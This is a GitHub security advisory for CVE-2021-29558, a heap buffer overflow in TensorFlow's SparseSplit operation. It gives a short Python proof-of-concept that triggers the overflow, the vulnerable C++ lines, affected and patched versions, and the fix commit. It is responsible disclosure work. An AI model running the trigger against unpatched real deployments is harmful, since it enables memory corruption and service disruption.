Heap buffer overflow in `SparseSplit`

Low **mihaimaruseac** published **GHSA-mqh2-9wrp-vx84** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`:

```
import tensorflow as tf

shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)

tf.raw_ops.SparseSplit(
    split_dim=shape_dims, indices=indices, values=values,
    shape=shape, num_split=1)
```

This is because the implementation accesses an array element based on a user controlled offset:

```
const int dim = input_tensor.indices().matrix<int64>()(i, split_dim);
int slice_index = GetSliceIndex(dim, split_size, residual);
num_values[slice_index]++;
```

This results in overriding values on the heap.

Patches

We have patched the issue in GitHub commit 8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29558

Weaknesses

No CWEs